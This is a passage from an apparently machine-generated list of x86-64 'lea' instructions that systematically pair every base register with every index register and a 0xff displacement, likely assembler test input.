0xff] lea rbx, [r12 + rbp + 0xff] lea rbx, [r13 + rax + 0xff] lea rbx, [r13 + rbx + 0xff] lea rbx, [r13 + rcx + 0xff] lea rbx, [r13 + rdx + 0xff] lea rbx, [r13 + rdi + 0xff] lea rbx, [r13 + r8 + 0xff] lea rbx, [r13 + r9 + 0xff] lea rbx, [r13 + r10 + 0xff] lea rbx, [r13 + r11 + 0xff] lea rbx, [r13 + r12 + 0xff] lea rbx, [r13 + r13 + 0xff] lea rbx, [r13 + r14 + 0xff] lea rbx, [r13 + r15 + 0xff] lea rbx, [r13 + rsp + 0xff] lea rbx, [r13 + rsi + 0xff] lea rbx, [r13 + rbp + 0xff] lea rbx, [r14 + rax + 0xff] lea rbx, [r14 + rbx + 0xff] lea rbx, [r14 + rcx + 0xff] lea rbx, [r14 + rdx + 0xff] lea rbx, [r14 + rdi + 0xff] lea rbx, [r14 + r8 + 0xff] lea rbx, [r14 + r9 + 0xff] lea rbx, [r14 + r10 + 0xff] lea rbx, [r14 + r11 + 0xff] lea rbx, [r14 + r12 + 0xff] lea rbx, [r14 + r13 + 0xff] lea rbx, [r14 + r14 + 0xff] lea rbx, [r14 + r15 + 0xff] lea rbx, [r14 + rsp + 0xff] lea rbx, [r14 + rsi + 0xff] lea rbx, [r14 + rbp + 0xff] lea rbx, [r15 + rax + 0xff] lea rbx, [r15 + rbx + 0xff] lea rbx, [r15 + rcx + 0xff] lea rbx, [r15 + rdx + 0xff] lea rbx, [r15 + rdi + 0xff] lea rbx, [r15 + r8 + 0xff] lea rbx, [r15 + r9 + 0xff] lea rbx, [r15 + r10 + 0xff] lea rbx, [r15 + r11 + 0xff] lea rbx, [r15 + r12 + 0xff] lea rbx, [r15 + r13 + 0xff] lea rbx, [r15 + r14 + 0xff] lea rbx, [r15 + r15 + 0xff] lea rbx, [r15 + rsp + 0xff] lea rbx, [r15 + rsi + 0xff] lea rbx, [r15 + rbp + 0xff] lea rbx, [rsp + rax + 0xff] lea rbx, [rsp + rbx + 0xff] lea rbx, [rsp + rcx + 0xff] lea rbx, [rsp + rdx + 0xff] lea rbx, [rsp + rdi + 0xff] lea rbx, [rsp + r8 + 0xff] lea rbx, [rsp + r9 + 0xff] lea rbx, [rsp + r10 + 0xff] lea rbx, [rsp + r11 + 0xff] lea rbx, [rsp + r12 + 0xff] lea rbx, [rsp + r13 + 0xff] lea rbx, [rsp + r14 + 0xff] lea rbx, [rsp + r15 + 0xff] lea rbx, [rsp + rsi + 0xff] lea rbx, [rsp + rbp + 0xff] lea rbx, [rsi + rax + 0xff] lea rbx, [rsi + rbx + 0xff] lea rbx, [rsi + rcx + 0xff] lea rbx, [rsi + rdx + 0xff] lea rbx, [rsi + rdi + 0xff] lea rbx, [rsi + r8 + 0xff] lea rbx, [rsi + r9 + 0xff] lea rbx, [rsi + r10 + 0xff] lea rbx, [rsi + r11 + 0xff] lea rbx, [rsi + r12 + 0xff] lea rbx, [rsi + r13 + 0xff] lea rbx, [rsi + r14 + 0xff] lea rbx, [rsi + r15 + 0xff] lea rbx, [rsi + rsp + 0xff] lea rbx, [rsi + rsi + 0xff] lea rbx, [rsi + rbp + 0xff] lea rbx, [rbp + rax + 0xff] lea rbx, [rbp + rbx + 0xff] lea rbx, [rbp + rcx + 0xff] lea rbx, [rbp + rdx + 0xff] lea rbx, [rbp + rdi + 0xff] lea rbx, [rbp + r8 + 0xff] lea rbx, [rbp + r9 + 0xff] lea rbx, [rbp + r10 + 0xff] lea rbx, [rbp + r11 + 0xff] lea rbx, [rbp + r12 + 0xff] lea rbx, [rbp + r13 + 0xff] lea rbx, [rbp + r14 + 0xff] lea rbx, [rbp + r15 + 0xff] lea rbx, [rbp + rsp + 0xff] lea rbx, [rbp + rsi + 0xff] lea rbx, [rbp + rbp + 0xff] lea rcx, [rax + rax + 0xff] lea rcx, [rax + rbx + 0xff] lea rcx, [rax + rcx + 0xff] lea rcx, [rax + rdx + 0xff] lea rcx, [rax + rdi + 0xff] lea rcx, [rax + r8 + 0xff] lea rcx, [rax + r9 + 0xff] lea rcx, [rax + r10 + 0xff] lea rcx, [rax + r11 + 0xff] lea rcx, [rax + r12 + 0xff] lea rcx, [rax + r13 + 0xff] lea rcx, [rax + r14 + 0xff] lea rcx, [rax + r15 + 0xff] lea rcx, [rax + rsp + 0xff] lea rcx, [rax + rsi + 0xff] lea rcx, [rax + rbp + 0xff] lea rcx, [rbx + rax + 0xff] lea rcx, [rbx + rbx + 0xff] lea rcx, [rbx + rcx + 0xff] lea rcx, [rbx + rdx + 0xff] lea rcx, [rbx + rdi + 0xff] lea rcx, [rbx + r8 + 0xff] lea rcx, [rbx + r9 + 0xff] lea rcx, [rbx + r10 + 0xff] lea rcx, [rbx + r11 + 0xff] lea rcx, [rbx + r12 + 0xff] lea rcx, [rbx + r13 + 0xff] lea rcx, [rbx + r14 + 0xff] lea rcx, [rbx + r15 + 0xff] lea rcx, [rbx + rsp + 0xff] lea rcx, [rbx + rsi + 0xff] lea rcx, [rbx + rbp + 0xff] lea rcx, [rcx + rax + 0xff] lea rcx, [rcx + rbx + 0xff] lea rcx, [rcx + rcx + 0xff] lea rcx, [rcx + rdx + 0xff] lea rcx, [rcx + rdi + 0xff] lea rcx, [rcx + r8 + 0xff] lea rcx, [rcx + r9 + 0xff] lea rcx, [rcx + r10 + 0xff] lea rcx, [rcx + r11 + 0xff] lea rcx, [rcx + r12 + 0xff] lea rcx, [rcx + r13 + 0xff] lea rcx, [rcx + r14 + 0xff] lea rcx, [rcx + r15 + 0xff] lea rcx, [rcx + rsp + 0xff] lea rcx, [rcx + rsi + 0xff] lea rcx, [rcx + rbp + 0xff] lea rcx, [rdx + rax + 0xff] lea rcx, [rdx + rbx + 0xff] lea rcx, [rdx + rcx + 0xff] lea rcx, [rdx + rdx + 0xff] lea rcx, [rdx + rdi + 0xff] lea rcx, [rdx + r8 + 0xff] lea rcx, [rdx + r9 + 0xff] lea rcx, [rdx + r10 + 0xff] lea rcx, [rdx + r11 + 0xff] lea rcx, [rdx + r12 + 0xff] lea rcx, [rdx + r13 + 0xff] lea rcx, [rdx + r14 + 0xff] lea rcx, [rdx + r15 + 0xff] lea rcx, [rdx + rsp + 0xff] lea rcx, [rdx + rsi + 0xff] lea rcx, [rdx + rbp + 0xff] lea rcx, [rdi + rax + 0xff] lea rcx, [rdi + rbx + 0xff] lea rcx, [rdi + rcx + 0xff] lea rcx, [rdi + rdx + 0xff] lea rcx, [rdi + rdi + 0xff] lea rcx, [rdi + r8 + 0xff] lea rcx, [rdi + r9 + 0xff] lea rcx, [rdi + r10 + 0xff] lea rcx, [rdi + r11 + 0xff] lea rcx, [rdi + r12 + 0xff] lea rcx, [rdi + r13 + 0xff] lea rcx, [rdi + r14 + 0xff] lea rcx, [rdi + r15 + 0xff] lea rcx, [rdi + rsp + 0xff] lea rcx, [rdi + rsi + 0xff] lea rcx, [rdi + rbp + 0xff] lea rcx, [r8 + rax + 0xff] lea rcx, [r8 + rbx + 0xff] lea rcx, [r8 + rcx + 0xff] lea rcx, [r8 + rdx + 0xff] lea rcx, [r8 + rdi + 0xff] lea rcx, [r8 + r8 + 0xff] lea rcx, [r8 + r9 + 0xff] lea rcx, [r8 + r10 + 0xff] lea rcx, [r8 + r11 + 0xff] lea rcx, [r8 + r12 + 0xff] lea rcx, [r8 + r13 + 0xff] lea rcx, [r8 + r14 + 0xff] lea rcx, [r8 + r15 + 0xff] lea rcx, [r8 + rsp + 0xff] lea rcx, [r8 + rsi + 0xff] lea rcx, [r8 + rbp + 0xff] lea rcx, [r9 + rax + 0xff] lea rcx, [r9 + rbx + 0xff] lea rcx, [r9 + rcx + 0xff] lea rcx, [r9 + rdx + 0xff] lea rcx, [r9 + rdi + 0xff] lea rcx, [r9 + r8 + 0xff] lea rcx, [r9 + r9 + 0xff] lea rcx, [r9 + r10 + 0xff] lea rcx, [r9 + r11 + 0xff] lea rcx, [r9 + r12 + 0xff] lea rcx, [r9 + r13 + 0xff] lea rcx, [r9 + r14 + 0xff] lea rcx, [r9 + r15 + 0xff] lea rcx, [r9 + rsp + 0xff] lea rcx, [r9 + rsi + 0xff] lea rcx, [r9 + rbp + 0xff] lea rcx, [r10 + rax + 0xff] lea rcx, [r10 + rbx + 0xff] lea rcx, [r10 + rcx + 0xff] lea rcx, [r10 + rdx + 0xff] lea rcx, [r10 + rdi + 0xff] lea rcx, [r10 + r8 + 0xff] lea rcx, [r10 + r9 + 0xff] lea rcx, [r10 + r10 + 0xff] lea rcx, [r10 + r11 + 0xff] lea rcx, [r10 + r12 + 0xff] lea rcx, [r10 + r13 + 0xff] lea rcx, [r10 + r14 + 0xff] lea rcx, [r10 + r15 + 0xff] lea rcx, [r10 + rsp + 0xff] lea rcx, [r10 + rsi + 0xff] lea rcx, [r10 + rbp + 0xff] lea rcx, [r11 + rax + 0xff] lea rcx, [r11 + rbx + 0xff] lea rcx, [r11 + rcx + 0xff] lea rcx, [r11 + rdx + 0xff] lea rcx, [r11 + rdi + 0xff] lea rcx, [r11 + r8 + 0xff] lea rcx, [r11 + r9 + 0xff] lea rcx, [r11 + r10 + 0xff] lea rcx, [r11 + r11 + 0xff] lea rcx, [r11 + r12 + 0xff] lea rcx, [r11 + r13 + 0xff] lea rcx, [r11 + r14 + 0xff] lea rcx, [r11 + r15 + 0xff] lea rcx, [r11 + rsp + 0xff] lea rcx, [r11 + rsi + 0xff] lea rcx, [r11 + rbp + 0xff] lea rcx, [r12 + rax + 0xff] lea rcx, [r12 + rbx + 0xff] lea rcx, [r12 + rcx + 0xff] lea rcx, [r12 + rdx + 0xff] lea rcx, [r12 + rdi + 0xff] lea rcx, [r12 + r8 + 0xff] lea rcx, [r12 + r9 + 0xff] lea rcx, [r12 + r10 + 0xff] lea rcx, [r12 + r11 + 0xff] lea rcx, [r12 + r12 + 0xff] lea rcx, [r12 + r13 + 0xff] lea rcx, [r12 + r14 + 0xff] lea rcx, [r12 + r15 + 0xff] lea rcx, [r12 + rsp + 0xff] lea rcx, [r12 + rsi + 0xff] lea rcx, [r12 + rbp + 0xff] lea rcx, [r13 + rax + 0xff] lea rcx, [r13 + rbx + 0xff] lea rcx, [r13 + rcx + 0xff] lea rcx, [r13 + rdx + 0xff] lea rcx, [r13 + rdi + 0xff] lea rcx, [r13 + r8 + 0xff] lea rcx, [r13 + r9 + 0xff] lea rcx, [r13 + r10 + 0xff] lea rcx, [r13 + r11 + 0xff] lea rcx, [r13 + r12 + 0xff] lea rcx, [r13 + r13 + 0xff] lea rcx, [r13 + r14 + 0xff] lea rcx, [r13 + r15 + 0xff] lea rcx, [r13 + rsp + 0xff] lea rcx, [r13 + rsi + 0xff] lea rcx, [r13 + rbp + 0xff] lea rcx, [r14 + rax + 0xff] lea rcx, [r14 + rbx + 0xff] lea rcx, [r14 + rcx + 0xff] lea rcx, [r14 + rdx + 0xff] lea rcx, [r14 + rdi + 0xff] lea rcx, [r14 + r8 + 0xff] lea rcx, [r14 + r9 + 0xff] lea rcx, [r14 + r10 + 0xff] lea rcx, [r14 + r11 + 0xff] lea rcx, [r14 + r12 + 0xff] lea rcx, [r14 + r13 + 0xff] lea rcx, [r14 + r14 + 0xff] lea rcx, [r14 + r15 + 0xff] lea rcx, [r14 + rsp + 0xff] lea rcx, [r14 + rsi + 0xff] lea rcx, [r14 + rbp + 0xff] lea rcx, [r15 + rax + 0xff] lea rcx, [r15 + rbx + 0xff] lea rcx, [r15 + rcx + 0xff] lea rcx, [r15 + rdx + 0xff] lea rcx, [r15 + rdi + 0xff] lea rcx, [r15 + r8 + 0xff] lea rcx, [r15 + r9 + 0xff] lea rcx, [r15 + r10 + 0xff] lea rcx, [r15 + r11 + 0xff] lea rcx, [r15 + r12 + 0xff] lea rcx, [r15 + r13 + 0xff] lea rcx, [r15 + r14 + 0xff] lea rcx, [r15 + r15 + 0xff] lea rcx, [r15 + rsp + 0xff] lea rcx, [r15 + rsi + 0xff] lea rcx, [r15 + rbp + 0xff] lea rcx, [rsp + rax + 0xff] lea rcx, [rsp + rbx + 0xff] lea rcx, [rsp + rcx + 0xff] lea rcx, [rsp + rdx + 0xff] lea rcx, [rsp + rdi + 0xff] lea rcx, [rsp + r8 + 0xff] lea rcx, [rsp + r9 + 0xff] lea rcx, [rsp + r10 + 0xff] lea rcx, [rsp + r11 + 0xff] lea rcx, [rsp + r12 + 0xff] lea rcx, [rsp + r13 + 0xff] lea rcx, [rsp + r14 + 0xff] lea rcx, [rsp + r15 + 0xff] lea rcx, [rsp + rsi + 0xff] lea rcx, [rsp + rbp + 0xff] lea rcx, [rsi + rax + 0xff] lea rcx, [rsi + rbx + 0xff] lea rcx, [rsi + rcx + 0xff] lea rcx, [rsi + rdx + 0xff] lea rcx, [rsi + rdi + 0xff] lea rcx, [rsi + r8 + 0xff] lea rcx, [rsi + r9 + 0xff] lea rcx, [rsi + r10 + 0xff] lea rcx, [rsi + r11 + 0xff] lea rcx, [rsi + r12 + 0xff] lea rcx, [rsi + r13 + 0xff] lea rcx, [rsi + r14 + 0xff] lea rcx, [rsi + r15 + 0xff] lea rcx, [rsi + rsp + 0xff] lea rcx, [rsi + rsi + 0xff] lea rcx, [rsi + rbp + 0xff] lea rcx, [rbp + rax + 0xff] lea rcx, [rbp + rbx + 0xff] lea rcx, [rbp + rcx + 0xff] lea rcx, [rbp + rdx + 0xff] lea rcx, [rbp + rdi + 0xff] lea rcx, [rbp + r8 + 0xff] lea rcx, [rbp + r9 + 0xff] lea rcx, [rbp + r10 + 0xff] lea rcx, [rbp + r11 + 0xff] lea rcx, [rbp + r12 + 0xff] lea rcx, [rbp + r13 + 0xff] lea rcx, [rbp + r14 + 0xff] lea rcx, [rbp + r15 + 0xff] lea rcx, [rbp + rsp + 0xff] lea rcx, [rbp + rsi + 0xff] lea rcx, [rbp + rbp + 0xff] lea rdx, [rax + rax + 0xff] lea rdx, [rax + rbx + 0xff] lea rdx, [rax + rcx + 0xff] lea rdx, [rax + rdx + 0xff] lea rdx, [rax + rdi + 0xff] lea rdx, [rax + r8 + 0xff] lea rdx, [rax + r9 + 0xff] lea rdx, [rax + r10 + 0xff] lea rdx, [rax + r11 + 0xff] lea rdx, [rax + r12 + 0xff] lea rdx, [rax + r13 + 0xff] lea rdx, [rax + r14 + 0xff] lea rdx, [rax + r15 + 0xff] lea rdx, [rax + rsp + 0xff] lea rdx, [rax + rsi + 0xff] lea rdx, [rax + rbp + 0xff] lea rdx, [rbx + rax + 0xff] lea rdx, [rbx + rbx + 0xff] lea rdx, [rbx + rcx + 0xff] lea rdx, [rbx + rdx + 0xff] lea rdx, [rbx + rdi + 0xff] lea rdx, [rbx + r8 + 0xff] lea rdx, [rbx + r9 + 0xff] lea rdx, [rbx + r10 + 0xff] lea rdx, [rbx + r11 + 0xff] lea rdx, [rbx + r12 + 0xff] lea rdx, [rbx + r13 + 0xff] lea rdx, [rbx + r14 + 0xff] lea rdx, [rbx + r15 + 0xff] lea rdx, [rbx + rsp + 0xff] lea rdx, [rbx + rsi + 0xff] lea rdx, [rbx + rbp + 0xff] lea rdx, [rcx + rax + 0xff] lea rdx, [rcx + rbx + 0xff] lea rdx, [rcx + rcx + 0xff] lea rdx, [rcx + rdx + 0xff] lea rdx, [rcx + rdi + 0xff] lea rdx, [rcx + r8 + 0xff] lea rdx, [rcx + r9 + 0xff] lea rdx, [rcx + r10 + 0xff] lea rdx, [rcx + r11 + 0xff] lea rdx, [rcx + r12 + 0xff] lea rdx, [rcx + r13 + 0xff] lea rdx, [rcx + r14 + 0xff] lea rdx, [rcx + r15 + 0xff] lea rdx, [rcx + rsp + 0xff] lea rdx, [rcx + rsi + 0xff] lea rdx, [rcx + rbp + 0xff] lea rdx, [rdx + rax + 0xff] lea rdx, [rdx + rbx + 0xff] lea rdx, [rdx + rcx + 0xff] lea rdx, [rdx + rdx + 0xff] lea rdx, [rdx + rdi + 0xff] lea rdx, [rdx + r8 + 0xff] lea rdx, [rdx + r9 + 0xff] lea rdx, [rdx + r10 + 0xff] lea rdx, [rdx + r11 + 0xff] lea rdx, [rdx + r12 + 0xff] lea rdx, [rdx + r13 + 0xff] lea rdx, [rdx + r14 + 0xff] lea rdx, [rdx + r15 + 0xff] lea rdx, [rdx + rsp + 0xff] lea rdx, [rdx + rsi + 0xff] lea rdx, [rdx + rbp + 0xff] lea rdx, [rdi + rax + 0xff] lea rdx, [rdi + rbx + 0xff] lea rdx, [rdi + rcx + 0xff] lea rdx, [rdi + rdx + 0xff] lea rdx, [rdi + rdi + 0xff] lea rdx, [rdi + r8 + 0xff] lea rdx, [rdi + r9 + 0xff] lea rdx, [rdi + r10 + 0xff] lea rdx, [rdi + r11 + 0xff] lea rdx, [rdi + r12 + 0xff] lea rdx, [rdi + r13 + 0xff] lea rdx, [rdi + r14 + 0xff] lea rdx, [rdi + r15 + 0xff] lea rdx, [rdi + rsp + 0xff] lea rdx, [rdi + rsi + 0xff] lea rdx, [rdi + rbp + 0xff] lea rdx, [r8 + rax + 0xff] lea rdx, [r8 + rbx + 0xff] lea rdx, [r8 + rcx + 0xff] lea rdx, [r8 + rdx + 0xff] lea rdx, [r8 + rdi + 0xff] lea rdx, [r8 + r8 + 0xff] lea rdx, [r8 + r9 + 0xff] lea rdx, [r8 + r10 + 0xff] lea rdx, [r8 + r11 + 0xff] lea rdx, [r8 + r12 + 0xff] lea rdx, [r8 + r13 + 0xff] lea rdx, [r8 + r14 + 0xff] lea rdx, [r8 + r15 + 0xff] lea rdx, [r8 + rsp + 0xff] lea rdx, [r8 + rsi + 0xff] lea rdx, [r8 + rbp + 0xff] lea rdx, [r9 + rax + 0xff] lea rdx, [r9 + rbx + 0xff] lea rdx, [r9 + rcx + 0xff] lea rdx, [r9 + rdx + 0xff] lea rdx, [r9 + rdi + 0xff] lea rdx, [r9 + r8 + 0xff] lea rdx, [r9 + r9 + 0xff] lea rdx, [r9 + r10 + 0xff] lea rdx, [r9 + r11 + 0xff] lea rdx, [r9 + r12 + 0xff] lea rdx, [r9 + r13 + 0xff] lea rdx, [r9 + r14 + 0xff] lea rdx, [r9 + r15 + 0xff] lea rdx, [r9 + rsp + 0xff] lea rdx, [r9 + rsi + 0xff] lea rdx, [r9 + rbp + 0xff] lea rdx, [r10 + rax + 0xff] lea rdx, [r10 + rbx + 0xff] lea rdx, [r10 + rcx + 0xff] lea rdx, [r10 + rdx + 0xff] lea rdx, [r10 + rdi + 0xff] lea rdx, [r10 + r8 + 0xff] lea rdx, [r10 + r9 + 0xff] lea rdx, [r10 + r10 + 0xff] lea rdx, [r10 + r11 + 0xff] lea rdx, [r10 + r12 + 0xff] lea rdx, [r10 + r13 + 0xff] lea rdx, [r10 + r14 + 0xff] lea rdx, [r10 + r15 + 0xff] lea rdx, [r10 + rsp + 0xff] lea rdx, [r10 + rsi + 0xff] lea rdx, [r10 + rbp + 0xff] lea rdx, [r11 + rax + 0xff] lea rdx, [r11 + rbx + 0xff] lea rdx, [r11 + rcx + 0xff] lea rdx, [r11 + rdx + 0xff] lea rdx, [r11 + rdi + 0xff] lea rdx, [r11 + r8 + 0xff] lea rdx, [r11 + r9 + 0xff] lea rdx, [r11 + r10 + 0xff] lea rdx, [r11 + r11 + 0xff] lea rdx, [r11 + r12 + 0xff] lea rdx, [r11 + r13 + 0xff] lea rdx, [r11 + r14 + 0xff] lea rdx, [r11 + r15 + 0xff] lea rdx, [r11 + rsp + 0xff] lea rdx, [r11 + rsi + 0xff] lea rdx, [r11 + rbp + 0xff] lea rdx, [r12 + rax + 0xff] lea rdx, [r12 + rbx + 0xff] lea rdx, [r12 + rcx + 0xff] lea rdx, [r12 + rdx + 0xff] lea rdx, [r12 + rdi + 0xff] lea rdx, [r12 + r8 + 0xff] lea rdx, [r12 + r9 + 0xff] lea rdx, [r12 + r10 + 0xff] lea rdx, [r12 + r11 + 0xff] lea rdx, [r12 + r12 + 0xff] lea rdx, [r12 + r13 + 0xff] lea rdx, [r12 + r14 + 0xff] lea rdx, [r12 + r15 + 0xff] lea rdx, [r12 + rsp + 0xff] lea rdx, [r12 + rsi + 0xff] lea rdx, [r12 + rbp + 0xff] lea rdx, [r13 + rax + 0xff] lea rdx, [r13 + rbx + 0xff] lea rdx, [r13 + rcx + 0xff] lea rdx, [r13 + rdx + 0xff] lea rdx, [r13 + rdi + 0xff] lea rdx, [r13 + r8 + 0xff] lea rdx, [r13 + r9 + 0xff] lea rdx, [r13 + r10 + 0xff] lea rdx, [r13 + r11 + 0xff] lea rdx, [r13 + r12 + 0xff] lea rdx, [r13 + r13 + 0xff] lea rdx, [r13 + r14 + 0xff] lea rdx, [r13 + r15 + 0xff] lea rdx, [r13 + rsp + 0xff] lea rdx, [r13 + rsi + 0xff] lea rdx, [r13 + rbp + 0xff] lea rdx, [r14 + rax + 0xff] lea rdx, [r14 + rbx + 0xff] lea rdx, [r14 + rcx + 0xff] lea rdx, [r14 + rdx + 0xff] lea rdx, [r14 + rdi + 0xff] lea rdx, [r14 + r8 + 0xff] lea rdx, [r14 + r9 + 0xff] lea rdx, [r14 + r10 + 0xff] lea rdx, [r14 + r11 + 0xff] lea rdx, [r14 + r12 + 0xff] lea rdx, [r14 + r13 + 0xff] lea rdx, [r14 + r14 + 0xff] lea rdx, [r14 + r15 + 0xff] lea rdx, [r14 + rsp + 0xff] lea rdx, [r14 + rsi + 0xff] lea rdx, [r14 + rbp + 0xff] lea rdx, [r15 + rax + 0xff] lea rdx, [r15 + rbx + 0xff] lea rdx, [r15 + rcx + 0xff] lea rdx, [r15 + rdx + 0xff] lea rdx, [r15 + rdi + 0xff] lea rdx, [r15 + r8 + 0xff] lea rdx, [r15 + r9 + 0xff] lea rdx, [r15 + r10 + 0xff] lea rdx, [r15 + r11 + 0xff] lea rdx, [r15 + r12 + 0xff] lea rdx, [r15 + r13 + 0xff] lea rdx, [r15 + r14 + 0xff] lea rdx, [r15 + r15 + 0xff] lea rdx, [r15 + rsp + 0xff] lea rdx, [r15 + rsi + 0xff] lea rdx, [r15 + rbp + 0xff] lea rdx, [rsp + rax + 0xff] lea rdx, [rsp + rbx + 0xff] lea rdx, [rsp + rcx + 0xff] lea rdx, [rsp + rdx + 0xff] lea rdx, [rsp + rdi + 0xff] lea rdx, [rsp + r8 + 0xff] lea rdx, [rsp + r9 + 0xff] lea rdx, [rsp + r10 + 0xff] lea rdx, [rsp + r11 + 0xff] lea rdx, [rsp + r12 + 0xff] lea rdx, [rsp + r13 + 0xff] lea rdx, [rsp + r14 + 0xff] lea rdx, [rsp + r15 + 0xff] lea rdx, [rsp + rsi + 0xff] lea rdx, [rsp + rbp + 0xff] lea rdx, [rsi + rax + 0xff] lea rdx, [rsi + rbx + 0xff] lea rdx, [rsi + rcx + 0xff] lea rdx, [rsi + rdx + 0xff] lea rdx, [rsi + rdi + 0xff] lea rdx, [rsi + r8 + 0xff] lea rdx, [rsi + r9 + 0xff] lea rdx, [rsi + r10 + 0xff] lea rdx, [rsi + r11 + 0xff] lea rdx, [rsi + r12 + 0xff] lea rdx, [rsi + r13 + 0xff] lea rdx, [rsi + r14 + 0xff] lea rdx, [rsi + r15 + 0xff] lea rdx, [rsi + rsp + 0xff] lea rdx, [rsi + rsi + 0xff] lea rdx, [rsi + rbp + 0xff] lea rdx, [rbp + rax + 0xff] lea rdx, [rbp + rbx + 0xff] lea rdx, [rbp + rcx + 0xff] lea rdx, [rbp + rdx + 0xff] lea rdx, [rbp + rdi + 0xff] lea rdx, [rbp + r8 + 0xff] lea rdx, [rbp + r9 + 0xff] lea rdx, [rbp + r10 + 0xff] lea rdx, [rbp + r11 + 0xff] lea rdx, [rbp + r12 + 0xff] lea rdx, [rbp + r13 + 0xff] lea rdx, [rbp + r14 + 0xff] lea rdx, [rbp + r15 + 0xff] lea rdx, [rbp + rsp + 0xff] lea rdx, [rbp + rsi + 0xff] lea rdx, [rbp + rbp + 0xff] lea rdi, [rax + rax + 0xff] lea rdi, [rax + rbx + 0xff] lea rdi, [rax + rcx + 0xff] lea rdi, [rax + rdx + 0xff] lea rdi, [rax + rdi + 0xff] lea rdi, [rax + r8 + 0xff] lea rdi, [rax + r9 + 0xff] lea rdi, [rax + r10 + 0xff] lea rdi, [rax + r11 + 0xff] lea rdi, [rax + r12 + 0xff] lea rdi, [rax + r13 + 0xff] lea rdi, [rax + r14 + 0xff] lea rdi, [rax + r15 + 0xff] lea rdi, [rax + rsp + 0xff] lea rdi, [rax + rsi + 0xff] lea rdi, [rax + rbp + 0xff] lea rdi, [rbx + rax + 0xff] lea rdi, [rbx + rbx + 0xff] lea rdi, [rbx + rcx + 0xff] lea rdi, [rbx + rdx + 0xff] lea rdi, [rbx + rdi + 0xff] lea rdi, [rbx + r8 + 0xff] lea rdi, [rbx + r9 + 0xff] lea rdi, [rbx + r10 + 0xff] lea rdi, [rbx + r11 + 0xff] lea rdi, [rbx + r12 + 0xff] lea rdi, [rbx + r13 + 0xff] lea rdi, [rbx + r14 + 0xff] lea rdi, [rbx + r15 + 0xff] lea rdi, [rbx + rsp + 0xff] lea rdi, [rbx + rsi + 0xff] lea rdi, [rbx + rbp + 0xff] lea rdi, [rcx + rax + 0xff] lea rdi, [rcx + rbx + 0xff] lea rdi, [rcx + rcx + 0xff] lea rdi, [rcx + rdx + 0xff] lea rdi, [rcx + rdi + 0xff] lea rdi, [rcx + r8 + 0xff] lea rdi, [rcx + r9 + 0xff] lea rdi, [rcx + r10 + 0xff] lea rdi, [rcx + r11 + 0xff] lea rdi, [rcx + r12 + 0xff] lea rdi, [rcx + r13 + 0xff] lea rdi, [rcx + r14 + 0xff] lea rdi, [rcx + r15 + 0xff] lea rdi, [rcx + rsp + 0xff] lea rdi, [rcx + rsi + 0xff] lea rdi, [rcx + rbp + 0xff] lea rdi, [rdx + rax + 0xff] lea rdi, [rdx + rbx + 0xff] lea rdi, [rdx + rcx + 0xff] lea rdi, [rdx + rdx + 0xff] lea rdi, [rdx + rdi + 0xff] lea rdi, [rdx + r8 + 0xff] lea rdi, [rdx + r9 + 0xff] lea rdi, [rdx + r10 + 0xff] lea rdi, [rdx + r11 + 0xff] lea rdi, [rdx + r12 + 0xff] lea rdi, [rdx + r13 + 0xff] lea rdi, [rdx + r14 + 0xff] lea rdi, [rdx + r15 + 0xff] lea rdi, [rdx + rsp + 0xff] lea rdi, [rdx + rsi + 0xff] lea rdi, [rdx + rbp + 0xff] lea rdi, [rdi + rax + 0xff] lea rdi, [rdi + rbx + 0xff] lea rdi, [rdi + rcx + 0xff] lea rdi, [rdi + rdx + 0xff] lea rdi, [rdi + rdi + 0xff] lea rdi, [rdi + r8 + 0xff] lea rdi, [rdi + r9 + 0xff] lea rdi, [rdi + r10 + 0xff] lea rdi, [rdi + r11 + 0xff] lea rdi, [rdi + r12 + 0xff] lea rdi, [rdi + r13 + 0xff] lea rdi, [rdi + r14 + 0xff] lea rdi, [rdi + r15 + 0xff] lea rdi, [rdi + rsp + 0xff] lea rdi, [rdi + rsi + 0xff] lea rdi, [rdi + rbp + 0xff] lea rdi, [r8 + rax + 0xff] lea rdi, [r8 + rbx + 0xff] lea rdi, [r8 + rcx + 0xff] lea rdi, [r8 + rdx + 0xff] lea rdi, [r8 + rdi + 0xff] lea rdi, [r8 + r8 + 0xff] lea rdi, [r8 + r9 + 0xff] lea rdi, [r8 + r10 + 0xff] lea rdi, [r8 + r11 + 0xff] lea rdi, [r8 + r12 + 0xff] lea rdi, [r8 + r13 + 0xff] lea rdi, [r8 + r14 + 0xff] lea rdi, [r8 + r15 + 0xff] lea rdi, [r8 + rsp + 0xff] lea rdi, [r8 + rsi + 0xff] lea rdi, [r8 + rbp + 0xff] lea rdi, [r9 + rax + 0xff] lea rdi, [r9 + rbx + 0xff] lea rdi, [r9 + rcx + 0xff] lea rdi, [r9 + rdx + 0xff] lea rdi, [r9 + rdi + 0xff] lea rdi, [r9 + r8 + 0xff] lea rdi, [r9 + r9 + 0xff] lea rdi, [r9 + r10 + 0xff] lea rdi, [r9 + r11 + 0xff] lea rdi, [r9 + r12 + 0xff] lea rdi, [r9 + r13 + 0xff] lea rdi, [r9 + r14 + 0xff] lea rdi, [r9 + r15 + 0xff] lea rdi, [r9 + rsp + 0xff] lea rdi, [r9 + rsi + 0xff] lea rdi, [r9 + rbp + 0xff] lea rdi, [r10 + rax + 0xff] lea rdi, [r10 + rbx + 0xff] lea rdi, [r10 + rcx + 0xff] lea rdi, [r10 + rdx + 0xff] lea rdi, [r10 + rdi + 0xff] lea rdi, [r10 + r8 + 0xff] lea rdi, [r10 + r9 + 0xff] lea rdi, [r10 + r10 + 0xff] lea rdi, [r10 + r11 + 0xff] lea rdi, [r10 + r12 + 0xff] lea rdi, [r10 + r13 + 0xff] lea rdi, [r10 + r14 + 0xff] lea rdi, [r10 + r15 + 0xff] lea rdi, [r10 + rsp + 0xff] lea rdi, [r10 + rsi + 0xff] lea rdi, [r10 + rbp + 0xff] lea rdi, [r11 + rax + 0xff] lea rdi, [r11 + rbx + 0xff] lea rdi, [r11 + rcx + 0xff] lea rdi, [r11 + rdx + 0xff] lea rdi, [r11 + rdi + 0xff] lea rdi, [r11 + r8 + 0xff] lea rdi, [r11 + r9 + 0xff] lea rdi, [r11 + r10 + 0xff] lea rdi, [r11 + r11 + 0xff] lea rdi, [r11 + r12 + 0xff] lea rdi, [r11 + r13 + 0xff] lea rdi, [r11 + r14 + 0xff] lea rdi, [r11 + r15 + 0xff] lea rdi, [r11 + rsp + 0xff] lea rdi, [r11 + rsi + 0xff] lea rdi, [r11 + rbp + 0xff] lea rdi, [r12 + rax + 0xff] lea rdi, [r12 + rbx + 0xff] lea rdi, [r12 + rcx + 0xff] lea rdi, [r12 + rdx + 0xff] lea rdi, [r12 + 